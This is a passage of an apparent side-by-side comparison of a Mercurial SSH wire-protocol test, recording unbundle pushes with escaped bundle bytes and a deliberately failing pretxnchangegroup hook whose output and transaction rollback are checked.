433 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
434 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
434 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
435 i> \x00\x00\x00\x00\x00\x00\x00\x00
435 i> \x00\x00\x00\x00\x00\x00\x00\x00
436 i> write(2) -> None:
436 i> write(2) -> 2:
437 i> 0\n
437 i> 0\n
438 i> flush() -> None
438 i> flush() -> None
439 o> readline() -> 2:
439 o> readline() -> 2:
440 o> 0\n
440 o> 0\n
441 o> readline() -> 2:
441 o> readline() -> 2:
442 o> 1\n
442 o> 1\n
443 o> read(1) -> 1: 0
443 o> read(1) -> 1: 0
444 result: 0
444 result: 0
445 remote output:
445 remote output:
446 e> read(-1) -> 218:
446 e> read(-1) -> 218:
447 e> adding changesets\n
447 e> adding changesets\n
448 e> adding manifests\n
448 e> adding manifests\n
449 e> adding file changes\n
449 e> adding file changes\n
450 e> added 1 changesets with 1 changes to 1 files\n
450 e> added 1 changesets with 1 changes to 1 files\n
451 e> ui.write 2 lines 1\n
451 e> ui.write 2 lines 1\n
452 e> ui.write 2 lines 2\n
452 e> ui.write 2 lines 2\n
453 e> transaction abort!\n
453 e> transaction abort!\n
454 e> rollback completed\n
454 e> rollback completed\n
455 e> abort: pretxnchangegroup.fail hook failed\n
455 e> abort: pretxnchangegroup.fail hook failed\n
456
456
457 And a variation that does a ui.flush() after writing output
457 And a variation that does a ui.flush() after writing output
458
458
459 $ cat > .hg/hgrc << EOF
459 $ cat > .hg/hgrc << EOF
460 > [hooks]
460 > [hooks]
461 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1lineflush
461 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1lineflush
462 > EOF
462 > EOF
463
463
464 $ debugwireproto << EOF
464 $ debugwireproto << EOF
465 > command unbundle
465 > command unbundle
466 > # This is "force" in hex.
466 > # This is "force" in hex.
467 > heads 666f726365
467 > heads 666f726365
468 > PUSHFILE ../initial.v1.hg
468 > PUSHFILE ../initial.v1.hg
469 > readavailable
469 > readavailable
470 > EOF
470 > EOF
471 testing ssh1
471 testing ssh1
472 creating ssh peer from handshake results
472 creating ssh peer from handshake results
473 i> write(104) -> None:
473 i> write(104) -> 104:
474 i> hello\n
474 i> hello\n
475 i> between\n
475 i> between\n
476 i> pairs 81\n
476 i> pairs 81\n
477 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
477 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
478 i> flush() -> None
478 i> flush() -> None
479 o> readline() -> 4:
479 o> readline() -> 4:
480 o> 384\n
480 o> 384\n
481 o> readline() -> 384:
481 o> readline() -> 384:
482 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
482 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
483 o> readline() -> 2:
483 o> readline() -> 2:
484 o> 1\n
484 o> 1\n
485 o> readline() -> 1:
485 o> readline() -> 1:
486 o> \n
486 o> \n
487 sending unbundle command
487 sending unbundle command
488 i> write(9) -> None:
488 i> write(9) -> 9:
489 i> unbundle\n
489 i> unbundle\n
490 i> write(9) -> None:
490 i> write(9) -> 9:
491 i> heads 10\n
491 i> heads 10\n
492 i> write(10) -> None: 666f726365
492 i> write(10) -> 10: 666f726365
493 i> flush() -> None
493 i> flush() -> None
494 o> readline() -> 2:
494 o> readline() -> 2:
495 o> 0\n
495 o> 0\n
496 i> write(4) -> None:
496 i> write(4) -> 4:
497 i> 426\n
497 i> 426\n
498 i> write(426) -> None:
498 i> write(426) -> 426:
499 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
499 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
500 i> test\n
500 i> test\n
501 i> 0 0\n
501 i> 0 0\n
502 i> foo\n
502 i> foo\n
503 i> \n
503 i> \n
504 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
504 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
505 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
505 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
506 i> \x00\x00\x00\x00\x00\x00\x00\x00
506 i> \x00\x00\x00\x00\x00\x00\x00\x00
507 i> write(2) -> None:
507 i> write(2) -> 2:
508 i> 0\n
508 i> 0\n
509 i> flush() -> None
509 i> flush() -> None
510 o> readline() -> 2:
510 o> readline() -> 2:
511 o> 0\n
511 o> 0\n
512 o> readline() -> 2:
512 o> readline() -> 2:
513 o> 1\n
513 o> 1\n
514 o> read(1) -> 1: 0
514 o> read(1) -> 1: 0
515 result: 0
515 result: 0
516 remote output:
516 remote output:
517 e> read(-1) -> 202:
517 e> read(-1) -> 202:
518 e> adding changesets\n
518 e> adding changesets\n
519 e> adding manifests\n
519 e> adding manifests\n
520 e> adding file changes\n
520 e> adding file changes\n
521 e> added 1 changesets with 1 changes to 1 files\n
521 e> added 1 changesets with 1 changes to 1 files\n
522 e> ui.write 1 line flush\n
522 e> ui.write 1 line flush\n
523 e> transaction abort!\n
523 e> transaction abort!\n
524 e> rollback completed\n
524 e> rollback completed\n
525 e> abort: pretxnchangegroup.fail hook failed\n
525 e> abort: pretxnchangegroup.fail hook failed\n
526
526
527 testing ssh2
527 testing ssh2
528 creating ssh peer from handshake results
528 creating ssh peer from handshake results
529 i> write(171) -> None:
529 i> write(171) -> 171:
530 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
530 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
531 i> hello\n
531 i> hello\n
532 i> between\n
532 i> between\n
533 i> pairs 81\n
533 i> pairs 81\n
534 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
534 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
535 i> flush() -> None
535 i> flush() -> None
536 o> readline() -> 62:
536 o> readline() -> 62:
537 o> upgraded * exp-ssh-v2-0001\n (glob)
537 o> upgraded * exp-ssh-v2-0001\n (glob)
538 o> readline() -> 4:
538 o> readline() -> 4:
539 o> 383\n
539 o> 383\n
540 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
540 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
541 o> read(1) -> 1:
541 o> read(1) -> 1:
542 o> \n
542 o> \n
543 sending unbundle command
543 sending unbundle command
544 i> write(9) -> None:
544 i> write(9) -> 9:
545 i> unbundle\n
545 i> unbundle\n
546 i> write(9) -> None:
546 i> write(9) -> 9:
547 i> heads 10\n
547 i> heads 10\n
548 i> write(10) -> None: 666f726365
548 i> write(10) -> 10: 666f726365
549 i> flush() -> None
549 i> flush() -> None
550 o> readline() -> 2:
550 o> readline() -> 2:
551 o> 0\n
551 o> 0\n
552 i> write(4) -> None:
552 i> write(4) -> 4:
553 i> 426\n
553 i> 426\n
554 i> write(426) -> None:
554 i> write(426) -> 426:
555 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
555 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
556 i> test\n
556 i> test\n
557 i> 0 0\n
557 i> 0 0\n
558 i> foo\n
558 i> foo\n
559 i> \n
559 i> \n
560 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
560 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
561 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
561 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
562 i> \x00\x00\x00\x00\x00\x00\x00\x00
562 i> \x00\x00\x00\x00\x00\x00\x00\x00
563 i> write(2) -> None:
563 i> write(2) -> 2:
564 i> 0\n
564 i> 0\n
565 i> flush() -> None
565 i> flush() -> None
566 o> readline() -> 2:
566 o> readline() -> 2:
567 o> 0\n
567 o> 0\n
568 o> readline() -> 2:
568 o> readline() -> 2:
569 o> 1\n
569 o> 1\n
570 o> read(1) -> 1: 0
570 o> read(1) -> 1: 0
571 result: 0
571 result: 0
572 remote output:
572 remote output:
573 e> read(-1) -> 202:
573 e> read(-1) -> 202:
574 e> adding changesets\n
574 e> adding changesets\n
575 e> adding manifests\n
575 e> adding manifests\n
576 e> adding file changes\n
576 e> adding file changes\n
577 e> added 1 changesets with 1 changes to 1 files\n
577 e> added 1 changesets with 1 changes to 1 files\n
578 e> ui.write 1 line flush\n
578 e> ui.write 1 line flush\n
579 e> transaction abort!\n
579 e> transaction abort!\n
580 e> rollback completed\n
580 e> rollback completed\n
581 e> abort: pretxnchangegroup.fail hook failed\n
581 e> abort: pretxnchangegroup.fail hook failed\n
582
582
583 Multiple writes + flush
583 Multiple writes + flush
584
584
585 $ cat > .hg/hgrc << EOF
585 $ cat > .hg/hgrc << EOF
586 > [hooks]
586 > [hooks]
587 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookmultiflush
587 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookmultiflush
588 > EOF
588 > EOF
589
589
590 $ debugwireproto << EOF
590 $ debugwireproto << EOF
591 > command unbundle
591 > command unbundle
592 > # This is "force" in hex.
592 > # This is "force" in hex.
593 > heads 666f726365
593 > heads 666f726365
594 > PUSHFILE ../initial.v1.hg
594 > PUSHFILE ../initial.v1.hg
595 > readavailable
595 > readavailable
596 > EOF
596 > EOF
597 testing ssh1
597 testing ssh1
598 creating ssh peer from handshake results
598 creating ssh peer from handshake results
599 i> write(104) -> None:
599 i> write(104) -> 104:
600 i> hello\n
600 i> hello\n
601 i> between\n
601 i> between\n
602 i> pairs 81\n
602 i> pairs 81\n
603 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
603 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
604 i> flush() -> None
604 i> flush() -> None
605 o> readline() -> 4:
605 o> readline() -> 4:
606 o> 384\n
606 o> 384\n
607 o> readline() -> 384:
607 o> readline() -> 384:
608 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
608 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
609 o> readline() -> 2:
609 o> readline() -> 2:
610 o> 1\n
610 o> 1\n
611 o> readline() -> 1:
611 o> readline() -> 1:
612 o> \n
612 o> \n
613 sending unbundle command
613 sending unbundle command
614 i> write(9) -> None:
614 i> write(9) -> 9:
615 i> unbundle\n
615 i> unbundle\n
616 i> write(9) -> None:
616 i> write(9) -> 9:
617 i> heads 10\n
617 i> heads 10\n
618 i> write(10) -> None: 666f726365
618 i> write(10) -> 10: 666f726365
619 i> flush() -> None
619 i> flush() -> None
620 o> readline() -> 2:
620 o> readline() -> 2:
621 o> 0\n
621 o> 0\n
622 i> write(4) -> None:
622 i> write(4) -> 4:
623 i> 426\n
623 i> 426\n
624 i> write(426) -> None:
624 i> write(426) -> 426:
625 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
625 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
626 i> test\n
626 i> test\n
627 i> 0 0\n
627 i> 0 0\n
628 i> foo\n
628 i> foo\n
629 i> \n
629 i> \n
630 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
630 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
631 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
631 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
632 i> \x00\x00\x00\x00\x00\x00\x00\x00
632 i> \x00\x00\x00\x00\x00\x00\x00\x00
633 i> write(2) -> None:
633 i> write(2) -> 2:
634 i> 0\n
634 i> 0\n
635 i> flush() -> None
635 i> flush() -> None
636 o> readline() -> 2:
636 o> readline() -> 2:
637 o> 0\n
637 o> 0\n
638 o> readline() -> 2:
638 o> readline() -> 2:
639 o> 1\n
639 o> 1\n
640 o> read(1) -> 1: 0
640 o> read(1) -> 1: 0
641 result: 0
641 result: 0
642 remote output:
642 remote output:
643 e> read(-1) -> 206:
643 e> read(-1) -> 206:
644 e> adding changesets\n
644 e> adding changesets\n
645 e> adding manifests\n
645 e> adding manifests\n
646 e> adding file changes\n
646 e> adding file changes\n
647 e> added 1 changesets with 1 changes to 1 files\n
647 e> added 1 changesets with 1 changes to 1 files\n
648 e> ui.write 1st\n
648 e> ui.write 1st\n
649 e> ui.write 2nd\n
649 e> ui.write 2nd\n
650 e> transaction abort!\n
650 e> transaction abort!\n
651 e> rollback completed\n
651 e> rollback completed\n
652 e> abort: pretxnchangegroup.fail hook failed\n
652 e> abort: pretxnchangegroup.fail hook failed\n
653
653
654 testing ssh2
654 testing ssh2
655 creating ssh peer from handshake results
655 creating ssh peer from handshake results
656 i> write(171) -> None:
656 i> write(171) -> 171:
657 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
657 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
658 i> hello\n
658 i> hello\n
659 i> between\n
659 i> between\n
660 i> pairs 81\n
660 i> pairs 81\n
661 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
661 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
662 i> flush() -> None
662 i> flush() -> None
663 o> readline() -> 62:
663 o> readline() -> 62:
664 o> upgraded * exp-ssh-v2-0001\n (glob)
664 o> upgraded * exp-ssh-v2-0001\n (glob)
665 o> readline() -> 4:
665 o> readline() -> 4:
666 o> 383\n
666 o> 383\n
667 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
667 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
668 o> read(1) -> 1:
668 o> read(1) -> 1:
669 o> \n
669 o> \n
670 sending unbundle command
670 sending unbundle command
671 i> write(9) -> None:
671 i> write(9) -> 9:
672 i> unbundle\n
672 i> unbundle\n
673 i> write(9) -> None:
673 i> write(9) -> 9:
674 i> heads 10\n
674 i> heads 10\n
675 i> write(10) -> None: 666f726365
675 i> write(10) -> 10: 666f726365
676 i> flush() -> None
676 i> flush() -> None
677 o> readline() -> 2:
677 o> readline() -> 2:
678 o> 0\n
678 o> 0\n
679 i> write(4) -> None:
679 i> write(4) -> 4:
680 i> 426\n
680 i> 426\n
681 i> write(426) -> None:
681 i> write(426) -> 426:
682 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
682 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
683 i> test\n
683 i> test\n
684 i> 0 0\n
684 i> 0 0\n
685 i> foo\n
685 i> foo\n
686 i> \n
686 i> \n
687 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
687 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
688 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
